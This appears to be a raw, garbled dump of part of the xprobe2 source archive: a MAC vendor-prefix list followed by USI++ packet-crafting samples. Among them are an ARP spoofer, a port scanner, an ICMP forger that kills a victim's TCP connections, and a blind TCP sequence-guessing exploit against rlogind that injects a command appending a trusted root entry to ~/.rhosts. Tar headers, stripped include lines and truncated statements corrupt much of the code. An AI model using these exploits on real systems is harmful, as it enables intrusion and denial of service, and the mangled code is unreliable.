0:50:4d Repotec Group 0:50:4e UMC UM9008 NE2000-compatible ISA Card for PC 0:5:2 Apple (PCI bus Macs) 0:5:9a PowerComputing (Mac clone) 0:5:a8 PowerComputing Mac clones 0:60:25 Active Imaging Inc. 0:60:2f Cisco 0:60:3e Cisco 100Mbps interface 0:60:47 Cisco 0:60:52 Realtek (RTL 8029 == PCI NE2000) 0:60:5c Cisco 0:60:67 Acer Lan 0:60:70 Cisco routers (2524 and 4500) 0:60:8 3Com Found in a 3Com PCI form factor 3C905 TX board 0:60:83 Cisco Systems, Inc. 3620/3640 routers 0:60:8c 3Com (1990 onwards) 0:60:9 Cisco Catalyst 5000 Ethernet switch 0:60:94 AMD PCNET PCI 0:60:97 3Com 0:60:b0 Hewlett-Packard 0:6:29 IBM RISC6000 system 0:6:7c Cisco 0:6:c1 Cisco 0:6:d Hewlett-Packard JetDirect token-ring interfaces 0:7:1 Racal-Datacom 0:7:d Cisco 2511 Token Ring 0:80:0 Multitech Systems Inc 0:80:1 Periphonics Corporation 0:80:10 Commodore 0:80:12 IMS Corp. IMS failure analysis tester 0:80:13 Thomas Conrad Corp. 0:80:15 Seiko Systems Inc 0:80:16 Wandel & Goltermann 0:80:17 PFU 0:80:19 Dayna Communications "Etherprint" product 0:80:1a Bell Atlantic 0:80:1b Kodiak Technology 0:80:1c Cisco 0:80:21 Newbridge Networks Corporation 0:80:23 Integrated Business Networks 0:80:24 Kalpana 0:80:26 Network Products Corporation 0:80:29 Microdyne Corporation 0:80:2a Test Systems & Simulations Inc 0:80:2c The Sage Group PLC 0:80:2d Xylogics, Inc. Annex terminal servers 0:80:2e Plexcom, Inc. 0:80:33 Formation (?) 0:80:34 SMT-Goupil 0:80:35 Technology Works 0:80:37 Ericsson Business Comm. 0:80:38 Data Research & Applications 0:80:3b APT Communications, Inc. 0:80:3d Surigiken Co Ltd 0:80:3e Synernetics 0:80:3f Hyundai Electronics 0:80:4 Antlow Computers, Ltd. 0:80:42 Force Computers 0:80:43 Networld Inc 0:80:45 Matsushita Electric Ind Co 0:80:46 University of Toronto 0:80:48 Compex, used by Commodore and DEC at least 0:80:49 Nissin Electric Co Ltd 0:80:4c Contec Co., Ltd. 0:80:4d Cyclone Microsystems, Inc. 0:80:5 Cactus Computer Inc. 0:80:51 ADC Fibermux 0:80:52 Network Professor 0:80:57 Adsoft Ltd 0:80:5a Tulip Computers International BV 0:80:5b Condor Systems, Inc. 0:80:5c Agilis(?) 0:80:5f Compaq Computer Corporation 0:80:6 Compuadd Corporation 0:80:60 Network Interface Corporation 0:80:62 Interface Co. 0:80:63 Richard Hirschmann Gmbh & Co 0:80:64 Wyse 0:80:67 Square D Company 0:80:69 Computone Systems 0:80:6a ERI (Empac Research Inc.) 0:80:6b Schmid Telecommunication 0:80:6c Cegelec Projects Ltd 0:80:6d Century Systems Corp. 0:80:6e Nippon Steel Corporation 0:80:6f Onelan Ltd 0:80:7 Dlog NC-Systeme 0:80:71 SAI Technology 0:80:72 Microplex Systems Ltd 0:80:74 Fisher Controls 0:80:79 Microbus Designs Ltd 0:80:7b Artel Communications Corp. 0:80:7c FiberCom 0:80:7d Equinox Systems Inc 0:80:82 PEP Modular Computers Gmbh 0:80:86 Computer Generation Inc. 0:80:87 Okidata 0:80:8a Summit (?) 0:80:8b Dacoll Limited 0:80:8c Frontier Software Development 0:80:8d Westcove Technology BV 0:80:8e Radstone Technology 0:80:9 Jupiter Systems (older MX-600 series machines) 0:80:90 Microtek International Inc 0:80:92 Japan Computer Industry, Inc. 0:80:93 Xyron Corporation 0:80:94 Sattcontrol AB 0:80:96 HDS (Human Designed Systems) X terminals 0:80:98 TDK Corporation 0:80:9a Novus Networks Ltd 0:80:9b Justsystem Corporation 0:80:9d Datacraft Manufactur'g Pty Ltd 0:80:9f Alcatel Business Systems 0:80:a1 Microtest 0:80:a3 Lantronix (see also 0800A3) 0:80:a6 Republic Technology Inc 0:80:a7 Measurex Corp 0:80:ad CNet Technology Used by Telebit (among others) 0:80:ae Hughes Network Systems 0:80:af Allumer Co., Ltd. 0:80:b1 Softcom A/S 0:80:b2 NET (Network Equipment Technologies) 0:80:b6 Themis corporation 0:80:ba Specialix (Asia) Pte Ltd 0:80:c0 Penril Datability Networks 0:80:c2 IEEE 802.1 Committee 0:80:c6 Soho 0:80:c7 Xircom, Inc. 0:80:c8 D-Link (also Solectek Pocket Adapters, and LinkSys PCMCIA) 0:80:c9 Alberta Microelectronic Centre 0:80:ce Broadcast Television Systems 0:80:d Vosswinkel FU 0:80:d0 Computer Products International 0:80:d3 Shiva Appletalk-Ethernet interface 0:80:d4 Chase Limited 0:80:d6 Apple Mac Portable(?) 0:80:d7 Fantum Electronics 0:80:d8 Network Peripherals 0:80:da Bruel & Kjaer 0:80:e0 XTP Systems Inc 0:80:e3 Coral (?) 0:80:e7 Lynwood Scientific Dev Ltd 0:80:ea The Fiber Company 0:80:f SMC (Standard Microsystem Corp.) 0:80:f0 Kyushu Matsushita Electric Co 0:80:f1 Opus 0:80:f3 Sun Electronics Corp 0:80:f4 Telemechanique Electrique 0:80:f5 Quantel Ltd 0:80:f7 Zenith Communications Products 0:80:fb BVM Limited 0:80:fe Azure Technologies Inc 0:8:52 Technically Elite Concepts 0:8:55 Fermilab 0:8:c7 Compaq 0:a0:0 Bay Networks Ethernet switch 0:a0:24 3com 0:a0:40 Apple (PCI Mac) 0:a0:92 Intermate International [LAN printer interfaces] 0:a0:c9 Intel (PRO100B cards) 0:a0:cc MacSense 100Base-TX Adapter for Mac Also seen in PCs (?) 0:a0:d1 National Semiconductor [COMPAQ Docking Station] 0:a0:d2 Allied Telesyn 0:aa:0 Intel 0:b0:d0 Computer Products International 0:c0:0 Lanoptics Ltd 0:c0:1 Diatek Patient Managment 0:c0:11 Interactive Computing Devices 0:c0:12 Netspan Corp 0:c0:13 Netrix 0:c0:14 Telematics Calabasas 0:c0:15 New Media Corp 0:c0:16 Electronic Theatre Controls 0:c0:17 Fluke 0:c0:18 Lanart Corp 0:c0:1a Corometrics Medical Systems 0:c0:1b Socket Communications 0:c0:1c Interlink Communications Ltd. 0:c0:1d Grand Junction Networks, Inc. 0:c0:1f S.E.R.C.E.L. 0:c0:2 Sercomm Corporation 0:c0:20 Arco Electronic, Control Ltd. 0:c0:21 Netexpress 0:c0:23 Tutankhamon Electronics 0:c0:24 Eden Sistemas De Computacao SA 0:c0:25 Dataproducts Corporation 0:c0:27 Cipher Systems, Inc. 0:c0:28 Jasco Corporation 0:c0:29 Kabel Rheydt AG 0:c0:2a Ohkura Electric Co 0:c0:2b Gerloff Gesellschaft Fur 0:c0:2c Centrum Communications, Inc. 0:c0:2d Fuji Photo Film Co., Ltd. 0:c0:2e Netwiz 0:c0:2f Okuma Corp 0:c0:3 Globalnet Communications 0:c0:30 Integrated Engineering B. V. 0:c0:31 Design Research Systems, Inc. 0:c0:32 I-Cubed Limited 0:c0:33 Telebit Corporation 0:c0:34 Dale Computer Corporation 0:c0:35 Quintar Company 0:c0:36 Raytech Electronic Corp 0:c0:39 Silicon Systems 0:c0:3b Multiaccess Computing Corp 0:c0:3c Tower Tech S.R.L. 0:c0:3d Wiesemann & Theis Gmbh 0:c0:3e Fa. Gebr. Heller Gmbh 0:c0:3f Stores Automated Systems Inc 0:c0:4 Japan Business Computer Co.Ltd 0:c0:40 ECCI 0:c0:41 Digital Transmission Systems 0:c0:42 Datalux Corp. 0:c0:43 Stratacom 0:c0:44 Emcom Corporation 0:c0:45 Isolation Systems Inc 0:c0:46 Kemitron Ltd 0:c0:47 Unimicro Systems Inc 0:c0:48 Bay Technical Associates 0:c0:49 US Robotics Total Control (tm) NETServer Card 0:c0:4d Mitec Ltd 0:c0:4e Comtrol Corporation 0:c0:4f Dell 0:c0:5 Livingston Enterprises Inc Portmaster (OEMed by Cayman) 0:c0:50 Toyo Denki Seizo K.K. 0:c0:51 Advanced Integration Research 0:c0:55 Modular Computing Technologies 0:c0:56 Somelec 0:c0:57 Myco Electronics 0:c0:58 Dataexpert Corp 0:c0:59 Nippondenso Corp 0:c0:5b Networks Northwest Inc 0:c0:5c Elonex PLC 0:c0:5d L&N Technologies 0:c0:5e Vari-Lite Inc 0:c0:6 Nippon Avionics Co Ltd 0:c0:60 ID Scandinavia A/S 0:c0:61 Solectek Corporation 0:c0:63 Morning Star Technologies Inc May be miswrite of 0003C6 0:c0:64 General Datacomm Ind Inc 0:c0:65 Scope Communications Inc 0:c0:66 Docupoint, Inc. 0:c0:67 United Barcode Industries 0:c0:68 Philp Drake Electronics Ltd 0:c0:69 California Microwave Inc 0:c0:6a Zahner-Elektrik Gmbh & Co KG 0:c0:6b OSI Plus Corporation 0:c0:6c SVEC Computer Corp 0:c0:6d Boca Research, Inc. 0:c0:6f Komatsu Ltd 0:c0:7 Pinnacle Data Systems Inc 0:c0:70 Sectra Secure-Transmission AB 0:c0:71 Areanex Communications, Inc. 0:c0:72 KNX Ltd 0:c0:73 Xedia Corporation 0:c0:74 Toyoda Automatic Loom Works Ltd 0:c0:75 Xante Corporation 0:c0:76 I-Data International A-S 0:c0:77 Daewoo Telecom Ltd 0:c0:78 Computer Systems Engineering 0:c0:79 Fonsys Co Ltd 0:c0:7a Priva BV 0:c0:7b Ascend Communications ISDN bridges/routers 0:c0:7d RISC Developments Ltd 0:c0:7f Nupon Computing Corp 0:c0:8 Seco SRL 0:c0:80 Netstar Inc 0:c0:81 Metrodata Ltd 0:c0:82 Moore Products Co 0:c0:84 Data Link Corp Ltd 0:c0:85 Canon 0:c0:86 The Lynk Corporation 0:c0:87 UUNET Technologies Inc 0:c0:89 Telindus Distribution 0:c0:8a Lauterbach Datentechnik Gmbh 0:c0:8b RISQ Modular Systems Inc 0:c0:8c Performance Technologies Inc 0:c0:8d Tronix Product Development 0:c0:8e Network Information Technology 0:c0:8f Matsushita Electric Works, Ltd. 0:c0:9 KT Technology (s) Pte Inc 0:c0:90 Praim S.R.L. 0:c0:91 Jabil Circuit, Inc. 0:c0:92 Mennen Medical Inc 0:c0:93 Alta Research Corp. 0:c0:95 Znyx (Network Appliance box); Jupiter Systems (MX-700 series) 0:c0:96 Tamura Corporation 0:c0:97 Archipel SA 0:c0:98 Chuntex Electronic Co., Ltd. 0:c0:9b Reliance Comm/Tec, R-Tec Systems Inc 0:c0:9c TOA Electronic Ltd 0:c0:9d Distributed Systems Int'l, Inc. 0:c0:9f Quanta Computer Inc 0:c0:a Micro Craft 0:c0:a0 Advance Micro Research, Inc. 0:c0:a1 Tokyo Denshi Sekei Co 0:c0:a2 Intermedium A/S 0:c0:a3 Dual Enterprises Corporation 0:c0:a4 Unigraf OY 0:c0:a7 SEEL Ltd 0:c0:a8 GVC Corporation 0:c0:a9 Barron McCann Ltd 0:c0:aa Silicon Valley Computer 0:c0:ab Jupiter Technology Inc 0:c0:ac Gambit Computer Communications 0:c0:ad Computer Communication Systems 0:c0:ae Towercom Co Inc DBA PC House 0:c0:b Norcontrol A.S. 0:c0:b0 GCC Technologies,Inc. 0:c0:b2 Norand Corporation 0:c0:b3 Comstat Datacomm Corporation 0:c0:b4 Myson Technology Inc 0:c0:b5 Corporate Network Systems Inc 0:c0:b6 Meridian Data Inc 0:c0:b7 American Power Conversion Corp 0:c0:b8 Fraser's Hill Ltd. 0:c0:b9 Funk Software Inc 0:c0:ba Netvantage 0:c0:bb Forval Creative Inc 0:c0:bd Inex Technologies, Inc. 0:c0:be Alcatel - Sel 0:c0:bf Technology Concepts Ltd 0:c0:c ARK PC Technology, Inc. 0:c0:c0 Shore Microsystems Inc 0:c0:c1 Quad/Graphics Inc 0:c0:c2 Infinite Networks Ltd. 0:c0:c3 Acuson Computed Sonography 0:c0:c4 Computer Operational 0:c0:c5 SID Informatica 0:c0:c6 Personal Media Corp 0:c0:c8 Micro Byte Pty Ltd 0:c0:c9 Bailey Controls Co 0:c0:ca Alfa, Inc. 0:c0:cb Control Technology Corporation 0:c0:cd Comelta S.A. 0:c0:d Advanced Logic Research Inc 0:c0:d0 Ratoc System Inc 0:c0:d1 Comtree Technology Corporation (EFA also reported) 0:c0:d2 Syntellect Inc 0:c0:d4 Axon Networks Inc 0:c0:d5 Quancom Electronic Gmbh 0:c0:d6 J1 Systems, Inc. 0:c0:d9 Quinte Network Confidentiality Equipment Inc 0:c0:db IPC Corporation (Pte) Ltd 0:c0:dc EOS Technologies, Inc. 0:c0:de ZComm Inc 0:c0:df Kye Systems Corp 0:c0:e Psitech Inc 0:c0:e1 Sonic Solutions 0:c0:e2 Calcomp, Inc. 0:c0:e3 Ositech Communications Inc 0:c0:e4 Landis & Gyr Powers Inc 0:c0:e5 GESPAC S.A. 0:c0:e6 TXPORT 0:c0:e7 Fiberdata AB 0:c0:e8 Plexcom Inc 0:c0:e9 Oak Solutions Ltd 0:c0:ea Array Technology Ltd. 0:c0:ec Dauphin Technology 0:c0:ed US Army Electronic Proving Ground 0:c0:ee Kyocera Corporation 0:c0:ef Abit Corporation 0:c0:f QNX Software Systems Ltd. [also Quantum Software Systems Ltd] 0:c0:f0 Kingston Technology Corporation 0:c0:f1 Shinko Electric Co Ltd 0:c0:f2 Transition Engineering Inc 0:c0:f3 Network Communications Corp 0:c0:f4 Interlink System Co., Ltd. 0:c0:f5 Metacomp Inc 0:c0:f6 Celan Technology Inc. 0:c0:f7 Engage Communication, Inc. 0:c0:f8 About Computing Inc. 0:c0:fa Canary Communications Inc 0:c0:fb Advanced Technology Labs 0:c0:fc ASDG Incorporated 0:c0:fd Prosum 0:c0:ff Box Hill Systems Corporation 0:dd:0 Ungermann-Bass IBM RT 0:dd:1 Ungermann-Bass 0:dd:8 Ungermann-Bass 0:e0:11 Uniden Corporation 0:e0:14 Cisco Ethernet switch 0:e0:16 rapid-city (now a part of bay networks) 0:e0:1e Cisco Lightstream 1010 0:e0:29 SMC EtherPower II 10/100 0:e0:2c AST - built into 5166M PC motherboard (win95 id's as Intel) 0:e0:34 Cisco 0:e0:39 Paradyne 7112 T1 DSU/CSU 0:e0:4f Cisco 0:e0:83 Jato Technologies, Inc. 0:e0:8f Cisco Systems Catalyst 2900 0:e0:98 Linksys PCMCIA card 0:e0:a3 Cisco 0:e0:b0 Cisco Systems Catalyst 2900/5000 0:e0:b8 AMD PCNet in a Gateway 2000 0:e0:c5 BCOM Electronics Inc. 0:e0:f7 Cisco 0:e0:f9 Cisco 0:e0:fe Cisco 10:0:5a IBM 10:0:90 Hewlett-Packard Advisor products 10:0:d4 DEC 10:0:e0 Apple A/UX (modified addresses for licensing) 2:4:6 BBN internal usage (not registered) 2:60:60 3Com 2:60:86 Satelcom MegaPac (UK) 2:60:8c 3Com IBM PC; Imagen; Valid; Cisco; Macintosh 2:7:1 Interlan [now Racal-InterLAN] DEC (UNIBUS or QBUS), Apollo, Cisco 2:7:1 Racal-Datacom 2:aa:3c Olivetti 2:cf:1f CMC Masscomp; Silicon Graphics; Prime EXL 2:e0:3b Prominet Corporation Gigabit Ethernet Switch 2:e6:d3 BTI (Bus-Tech, Inc.) IBM Mainframes 2e:2e:2e LAA (Locally Administered Address) for Meditech Systems 3c:0:0 3Com dual function (V.34 modem + Ethernet) card 40:0:3 Net Ware (?) 44:45:53 Microsoft (Windows95 internal "adapters") 44:46:49 DFI (Diamond Flower Industries) 47:54:43 GTC (Not registered!) (This number is a multicast!) 48:44:53 HDS ??? 48:4c:0 Network Solutions 48:54:e8 winbond? 4c:42:4c Information Modes software modified addresses (not registered?) 52:54:4c Novell 2000 52:54:ab REALTEK (a Realtek 8029 based PCI Card) 56:58:57 Aculab plc audio bridges 80:0:10 AT&T [misrepresented as 080010? One source claims this is correct] 80:ad:0 CNET Technology Inc. (Probably an error, see instead 0080AD) 8:0:1 Computer Vision 8:0:10 AT&T [misrepresentation of 800010?] 8:0:11 Tektronix, Inc. 8:0:14 Excelan BBN Butterfly, Masscomp, Silicon Graphics 8:0:17 National Semiconductor Corp. (used to have Network System Corp., wrong NSC) 8:0:1a Tiara? (used to have Data General) 8:0:1b Data General 8:0:1e Apollo 8:0:1f Sharp 8:0:2 3Com (formerly Bridge) 8:0:20 Sun 8:0:22 NBI (Nothing But Initials) 8:0:23 Matsushita Denso 8:0:25 CDC 8:0:26 Norsk Data (Nord) 8:0:27 PCS Computer Systems GmbH 8:0:28 TI Explorer 8:0:2b DEC 8:0:2e Metaphor 8:0:2f Prime Computer Prime 50-Series LHC300 8:0:3 ACC (Advanced Computer Communications) 8:0:30 CERN 8:0:32 Tigan 8:0:36 Intergraph CAE stations 8:0:37 Fuji Xerox 8:0:38 Bull 8:0:39 Spider Systems 8:0:3b Torus Systems 8:0:3d cadnetix 8:0:3e Motorola VME bus processor modules 8:0:41 DCA (Digital Comm. Assoc.) 8:0:44 DSI (DAVID Systems, Inc.) 8:0:45 ???? (maybe Xylogics, but they claim not to know this number) 8:0:46 Sony 8:0:47 Sequent 8:0:48 Eurotherm Gauging Systems 8:0:49 Univation 8:0:4c Encore 8:0:4e BICC [3com bought BICC, so may appear on 3com equipment as well] 8:0:5 Symbolics Symbolics LISP machines 8:0:51 Experdata 8:0:56 Stanford University 8:0:57 Evans & Sutherland (?) 8:0:58 ??? DECsystem-20 8:0:5a IBM 8:0:6 Siemens Nixdorf PC clone 8:0:66 AGFA printers, phototypesetters etc. 8:0:67 Comdesign 8:0:68 Ridge 8:0:69 Silicon Graphics 8:0:6a ATTst (?) 8:0:6e Excelan 8:0:7 Apple 8:0:70 Mitsubishi 8:0:74 Casio 8:0:75 DDE (Danish Data Elektronik A/S) 8:0:77 TSL (now Retix) 8:0:79 Silicon Graphics 8:0:7c Vitalink TransLAN III 8:0:8 BBN (Bolt Beranek and Newman, Inc.) 8:0:80 XIOS 8:0:81 Crosfield Electronics 8:0:83 Seiko Denshi 8:0:86 Imagen/QMS 8:0:87 Xyplex terminal servers 8:0:88 McDATA Corporation 8:0:89 Kinetics AppleTalk-Ethernet interface 8:0:8b Pyramid 8:0:8d XyVision XyVision machines 8:0:8e Tandem / Solbourne Computer ? 8:0:8f Chipcom Corp. 8:0:9 Hewlett-Packard 8:0:90 Retix, Inc. Bridges 8:0:a Nestar Systems 8:0:b Unisys 8:0:d ICL (International Computers, Ltd.) 8:0:e NCR/AT&T 8:0:f SMC (Standard Microsystems Corp.) 9:0:6a AT&T aa:0:0 DEC obsolete aa:0:1 DEC obsolete aa:0:2 DEC obsolete aa:0:3 DEC Global physical address for some DEC machines aa:0:4 DEC Local logical address for DECNET systems c0:0:0 Western Digital (may be reversed 00 00 C0?) ec:10:0 Enance Source Co., Ltd. PC clones(?) xprobe2-0.3/libs-external/USI++/samples000755 001751 000000 00000000000 10271644024 020107 5ustar00mederwheel000000 000000 xprobe2-0.3/libs-external/USI++/samples/arps2.cc000755 001751 000000 00000001427 10271643766 021547 0ustar00mederwheel000000 000000 #include #include #include #include using namespace usipp; int main() { unsigned char smac[] = {0, 0x40, 5, 0x6d, 0x1a, 0x90}, // dest-MAC dmac[] = {0, 0x40, 5, 0x6d, 0x1a, 0x8f}, // our MAC (eth0) bc[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; // broadcast-MAC char *rip = "192.0.0.77", *vip = "192.0.0.2"; ARP *rep = new ARP("eth0", 0, smac, dmac); ICMP *icmp = new ICMP(vip); icmp->set_type(ICMP_ECHO); icmp->set_src(rip); icmp->sendpack(""); delete icmp; rep->set_op(ARPOP_REPLY); rep->set_tpa(vip, ETH_P_IP); rep->set_spa(rip, ETH_P_IP); rep->set_tha(smac, ARPHRD_ETHER); rep->set_sha(dmac, ARPHRD_ETHER); rep->sendpack(""); delete rep; return 0; } xprobe2-0.3/libs-external/USI++/samples/arpw.cc000755 001751 000000 00000001543 10271643766 021470 0ustar00mederwheel000000 000000 /* Output looks similar to tcpdump -p arp ;-) */ #include #include #include using namespace usipp; char *print_mac(unsigned char *mac) { static char m[100]; // uhhh.... :) memset(m, 0, sizeof(m)); snprintf(m, sizeof(m), "%02x:%02x:%02x:%02x:%02x:%02x", *mac, mac[1], mac[2], mac[3], mac[4], mac[5]); return m; } int main() { ARP *a = new ARP; a->init_device("eth0", 1, 100); char shw[100], sip[100], dip[100]; while (1) { a->sniffpack(); if (a->get_op() == ARPOP_REQUEST) { cout<<"arp who has "<get_tpa(0, dip, 100) <<" tell "<get_spa(1, sip, 100)<get_op() == ARPOP_REPLY) { cout<get_spa(0, sip, 100)<<" is at " <get_sha(shw, 100))< #include #include #include #include #include #include #define XPORT 513 // may be changed, my best results were around 2000, // but also diffs of > 5000 can happen :) // change it it really not works #define MAXPACK 3000 // define this if you want to exploit rlogind // if not, you will just spoof a connection to XPORT #define EXPLOIT_RLOGIND // uses eth0 for packet-capturing! TCP *pingVictum(char *, char *, char *); int printInfo(TCP *); bool wrongPacket(TCP *, TCP *); int main(int argc, char **argv) { // yes, script-kidz! this is hardcoded to prevent you from usage. const char *remoteUser = "stealth", *localUser = "stealth", *command = "echo liane root>>~/.rhosts\n"; char sbuf[1000]; if (argc < 4) { printf("Usage %s [destination-IP] [source-IP] [spoofed-IP]\n", argv[0]); exit(1); } cout<<"blindSpoof-exploit by S. Krahmer\n" "http://www.cs.uni-potsdam.de/homepages/students/linuxer\n\n"; // would be connect() TCP *conn = pingVictum(argv[1], argv[2], argv[3]); #ifdef EXPLOIT_RLOGIND conn->set_flags(0); sprintf(sbuf, "\0"); conn->sendpack(sbuf, 1); sleep(1); cout<<"Sending local username: "<set_seq(conn->get_seq() + 1); memset(sbuf, 0, 1000); snprintf(sbuf, sizeof(sbuf), "%s\0", localUser); conn->sendpack(sbuf, strlen(sbuf) + 1); // we don't know about the lag, so i hope that 7 in sec. // the victum has sent an ACK sleep(7); cout<<"Sending remote username: "<set_seq(conn->get_seq() + strlen(sbuf) + 1); memset(sbuf, 0, sizeof(sbuf)); snprintf(sbuf, sizeof(sbuf), "%s\0", remoteUser); conn->sendpack(sbuf, strlen(sbuf) + 1); sleep(7); cout<<"Sending terminal-type and speed.\n"; conn->set_seq(conn->get_seq() + strlen(sbuf) + 1); memset(sbuf, 0, sizeof(sbuf)); snprintf(sbuf, sizeof(sbuf), "%s\0", "linux/38400"); conn->sendpack(sbuf, strlen(sbuf) + 1); sleep(7); cout<<"Sending command: "<set_seq(conn->get_seq() + strlen(sbuf) + 1); memset(sbuf, 0, sizeof(sbuf)); snprintf(sbuf, sizeof(sbuf), "%s\0", command); conn->sendpack(sbuf, strlen(sbuf) + 1); #else cout<<"Connection to port "<init_device("eth0", 1, 500); victumLow->set_flags(TH_SYN); victumLow->set_dstport(XPORT); // rlogin victumLow->set_srcport(sport); // from a privileged port victumLow->set_src(src); victumLow->set_seq(myISN); victumSpoofed->set_flags(TH_SYN); victumSpoofed->set_dstport(XPORT); victumSpoofed->set_srcport(sport); victumSpoofed->set_src(spoofed); victumSpoofed->set_seq(myISN); // we must save the ISN // send SYN to get low end of ISN victumLow->sendpack(""); // send spoofed SYN victumSpoofed->sendpack(""); cout<<"Using sourceport "<get_srcport()<sniffpack(buf, 100); printf("%s:%d -> %s:%d ", sn->get_src(1, sr, 1000), sn->get_srcport(), sn->get_dst(1, dst, 1000), sn->get_dstport()); printInfo(sn); } int lowISN = sn->get_seq(); sleep(2); // NOTE! Even if we sent the SYN before the spoofed SYN, the // spoofed SYN can arrive first, due to routing reasons. // Althought this is NOT very likely, we have to keep it in mind. cout<<"Low end: "<<(unsigned)lowISN<<"\n"; victumSpoofed->set_flags(TH_ACK); victumSpoofed->set_seq(myISN + 1); // for (int i = lowISN; i < lowISN + MAXPACK; i++) { victumSpoofed->set_ack(i); victumSpoofed->sendpack(""); printf("%u\r", i); fflush(stdout); // maybe you have to place a usleep() here, depends on // your devices usleep(500); } cout<get_flags() & TH_FIN) cout<<"FIN "; if (r->get_flags() & TH_SYN) cout<<"SYN "; if (r->get_flags() & TH_RST) cout<<"RST "; if (r->get_flags() & TH_PUSH) cout<<"PUSH "; if (r->get_flags() & TH_ACK) cout<<"ACK "; if (r->get_flags() & TH_URG) cout<<"URG "; cout<<"] [ACK: "<get_ack()<<"] [SEQ: "<get_seq()<<"]"<get_src() != p2->get_dst()) return true; if (p1->get_dst() != p2->get_src()) return true; if (p1->get_dstport() != p2->get_srcport()) return true; if (p1->get_srcport() != p2->get_dstport()) return true; if (p1->get_ack() != (p2->get_seq() + 1)) return true; return false; } xprobe2-0.3/libs-external/USI++/samples/DeNAT.cc000755 001751 000000 00000001405 10271643766 021407 0ustar00mederwheel000000 000000 #include #include #include int main(int argc, char **argv) { TCP *dev1 = new TCP("127.0.0.1"), *tcp = new TCP("127.0.0.1"); char buf[512], src[512], dst[512]; dev1->init_device("eth0", 1, 500); while (1) { dev1->sniffpack(buf, sizeof(buf)); if (dev1->get_flags() != TH_SYN) continue; cout<<"Seen "<get_src(1,src,512)<<":"<get_srcport()<<" -> "<get_dst(1,dst,512) <<":"<get_dstport()<set_dst(dev1->get_src()); tcp->set_dstport(dev1->get_srcport()); tcp->set_srcport(dev1->get_dstport()); tcp->set_src(dev1->get_dst()); tcp->set_flags(TH_SYN|TH_ACK); tcp->set_seq(7350); tcp->set_ack(dev1->get_seq()+1); tcp->sendpack(""); } return 0; }xprobe2-0.3/libs-external/USI++/samples/drop.cc000755 001751 000000 00000002256 10271643766 021465 0ustar00mederwheel000000 000000 #include #include #include #include #include #include #include void usage() { cout<<"Usage: drop \n" <<" 'srcaddr' is the host that should send the ICMP packet\n\n"; exit(1); } int main(int argc, char **argv) { if (argc < 3) usage(); string srcaddr(argv[1]), dstaddr(argv[3]); int srcport = atoi(argv[2]); char payload[sizeof(iphdr) + sizeof(tcphdr)]; memset(payload, 0, sizeof(payload)); // build a faked packet that victum has sent TCP *tcp = new TCP(dstaddr.c_str()); tcp->set_dst(srcaddr.c_str()); tcp->set_src(dstaddr.c_str()); tcp->set_dstport(srcport); tcp->set_flags(TH_PUSH|TH_ACK); ICMP *icmp = new ICMP(dstaddr.c_str()); icmp->set_src(srcaddr.c_str()); icmp->set_type(ICMP_DEST_UNREACH); icmp->set_code(ICMP_PORT_UNREACH); for (int i = 100; i < 2048; ++i) { tcp->set_srcport(i); iphdr iph = tcp->get_iphdr(); tcphdr tcph = tcp->get_tcphdr(); memcpy(payload, &iph, sizeof(iph)); memcpy(payload+sizeof(iph), &tcph, 8); icmp->sendpack(payload, sizeof(iph)+8); usleep(10000); } delete icmp; delete tcp; return 0; } xprobe2-0.3/libs-external/USI++/samples/error.cc000755 001751 000000 00000001165 10271643766 021650 0ustar00mederwheel000000 000000 #include /* Example for libusi++ error-handling. * We try to set a filter on an NOT initialized device. * MUST BE LINKED STATIC with usi++. (somehow C++ exceptions dont work with .so) */ int main() { TCP *x = new TCP("127.0.0.1"); /* turn on using exceptions */ useException(true); try { x->setfilter("false"); } catch (usifault &u) { printf("Caught exception: %s\n", u.why()); } printf("Try to setfilter again.\n"); /* use normal error-handling (default) and let usi++ * generate nice error-messages and exiting */ useException(false); x->setfilter("false"); /* NOT reached */ } xprobe2-0.3/libs-external/USI++/samples/filter.cc000755 001751 000000 00000003536 10271643766 022010 0ustar00mederwheel000000 000000 // Small program to find out packet-filtered ports // (SYN) (C) 2001 Sebastian Krahmer, use at your own risk #include #include #include #include #include #include #include using namespace usipp; using namespace std; #define MINPORT 1 #define MAXPORT 2 int main(int argc, char **argv) { char s[1000], filter[1000]; // only TRUEs allowed. Closed ports dont // appear here map push_open, syn_open; unsigned short port = 0; struct timeval tv; if (argc <= 3) { printf("usage: %s \n", argv[0]); exit(1); } TCP tcp(argv[1]), sn("localhost"); // setting port to >1023 will avoid source-port alerts in IDS tcp.set_srcport(7350); if (strcmp(argv[2], "0") != 0) tcp.set_src(argv[2]); // one might change this to TH_URG to have an urgent-scan then tcp.set_flags(TH_PUSH); // Do push-scan sn.init_device(argv[3], 1, 60); snprintf(filter, sizeof(filter), "tcp and src %s and dst %s and port 7350", argv[1], argv[2]); sn.setfilter(filter); for (port = MINPORT; port <= MAXPORT; port++) { tcp.set_dstport(port); tcp.sendpack(""); tv.tv_usec = 0; tv.tv_sec = 2; sn.timeout(tv); if (sn.sniffpack(s, 60) == 0 && sn.timeout()) push_open[port] = true; } tcp.set_flags(TH_SYN); for (port = MINPORT; port <= MAXPORT; port++) { tcp.set_dstport(port); tcp.sendpack(""); tv.tv_usec = 0; tv.tv_sec = 2; sn.timeout(tv); if (sn.sniffpack(s, 60) == 0 && sn.timeout()) continue; if (sn.get_flags() == (TH_ACK|TH_SYN)) syn_open[port] = true; } map::iterator i; for (i = push_open.begin(); i != push_open.end(); ++i) printf("%d P-open.\n", i->first); printf("---\n"); for (i = syn_open.begin(); i != syn_open.end(); ++i) printf("%d S-open.\n", i->first); return 0; } xprobe2-0.3/libs-external/USI++/samples/hardSpy.cc000755 001751 000000 00000004065 10271643766 022133 0ustar00mederwheel000000 000000 /* For educational purposes only!!! * Works only in a LAN, ofcorse. * Under the GPL */ #include #include #include #include #include #include const char *datfile = "../data/ethercodes.dat"; int decodeHW(char *, char *); int main(int argc, char **argv) { if (argc < 2) { cout<<"Usage: "< "< #include #include int main() { char buf[1024], sbuf[1024], s[100], d[100]; ICMP sn("127.0.0.1"), icmp("192.0.0.2"); sn.init_device("eth0", 0, 500); icmp.set_src("192.0.0.1"); icmp.set_type(ICMP_ECHO); // icmp.sendpack("XYZ"); cout<"< #include #include int main(int argc, char **argv) { ICMP icmp("127.0.0.1"); char buf[1000] = {0}, src[1000], dst[1000]; int i = 0; if (argc < 2) { cout<"< " < #include #include #include #include #include #include int main(int argc, char **argv) { char buf[100]; if (argc < 2) { printf("i \n"); return -1; } ICMP icmp(argv[1]); icmp.set_type(ICMP_ECHO); icmp.set_code(0); icmp.tx()->broadcast(); icmp.set_src("0"); 